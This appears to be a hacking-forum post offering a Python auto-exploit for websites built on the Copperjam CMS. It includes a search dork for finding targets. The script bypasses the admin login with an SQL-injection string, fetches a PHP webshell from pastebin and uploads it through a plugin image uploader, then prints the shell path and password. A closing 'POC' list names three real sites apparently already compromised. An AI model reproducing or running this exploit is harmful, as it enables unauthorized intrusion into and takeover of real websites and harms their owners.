COPPERJAM COMPANY SCRIPT EXPLOIT :
Dork in Bing or Google : intext:"created by copperjam"
AUTO EXPLOIT :>
/////////////////////////////////////////////////////////
#!/usr/bin/python3
# Exploit Author: B14ck_dz
# Vendor : Copperjam.com
# Tested on: Ubuntu / Windows 10
# Date: 6/02/2022
import time, argparse, requests, sys
from os import remove
from bs4 import BeautifulSoup
from colorama import init
from colorama import Fore
from colorama import Back
from colorama import Style
init(autoreset=True)
print("""
Sites Created By COPPERJAM Shell Uploader\n
Written by B14ck_dz
Twitter : https://twitter.com/oussama1337
Zone-H : http://zone-h.org/archive/notifier=B14ck_dz
Discord : https://discord.gg/A8ptg8Dbu4\n""")
def my_args():
parser = argparse.ArgumentParser()
parser.add_argument("-u","--url",type=str,required=True,help="url of target")
my_arguments = parser.parse_args()
return my_arguments
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"}
def exploit():
try:
url = my_args().url
if url.endswith('/'):
url = url[:-1]
login_data = {
'Email' : "' OR ''='",
'Password' : "' OR ''='"
}
with requests.Session() as s:
login_path = f"{url}/admin/Login/process/"
r = s.post(login_path,headers=headers,data=login_data)
print( Fore.GREEN + "[+] Logged in succesfully")
except Exception:
print(Fore.RED + f"[!] Make Sure You Entred URL Correctly")
print("Example : http://target.com")
sys.exit(1)
#soup = BeautifulSoup(r.content, 'html5lib')
#print(soup)
#proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
phpwebshell = requests.get("https://pastebin.com/raw/119SZL4p", 'html.parser')
phpfile = open('tmp.php', 'w')
phpfile.write(str(phpwebshell.text))
phpfile.close()
files = {'file': open('tmp.php', 'rb')}
r = s.post(f"{url}/admin/plugins/data_manage_v02/php/cj-image-uploader.php?folderpath=Li9kYXRhL2FwcC8=&pluginpath=Li4vLi4vcGx1Z2lucy9kYXRhX21hbmFnZV92MDIv&extension=cGhw&tagname=", headers=headers, files=files)
soup = BeautifulSoup(r.content, 'html5lib')
result = [soup.body.string]
try:
if "php" in result[0]:
try:
phpshell = result[0][27:result[0].find("php")+3]
except:
print(result)
else:
print(Fore.RED + "\nExploit Didn't Work :'(")
sys.exit(1)
except :
print(Fore.RED + "I Didn't Find The Required Files to Exploit :'( ")
print("You Can Try it Manualy : ")
print(f"Admin Panel : {url}/admin/index.php")
print(f"User: {Fore.GREEN}'OR ''='")
print(f"Pass: {Fore.GREEN}'OR ''='")
sys.exit(1)
print(f"{url}/admin/data/app/{phpshell}")
print(f"Shell Password : {Fore.RED} root")
remove('tmp.php')
exploit()
//////////////////////////////////////////////////////////////
POC :
https://www.trimacppl.com/b14ck.php
https://sarvodayafoundation.org/admin/b14ck.php
https://housepital.in/b14ck.php
HAPPY HACKING DON'T FORGET TO JOIN MY DISCORD SERVER :)
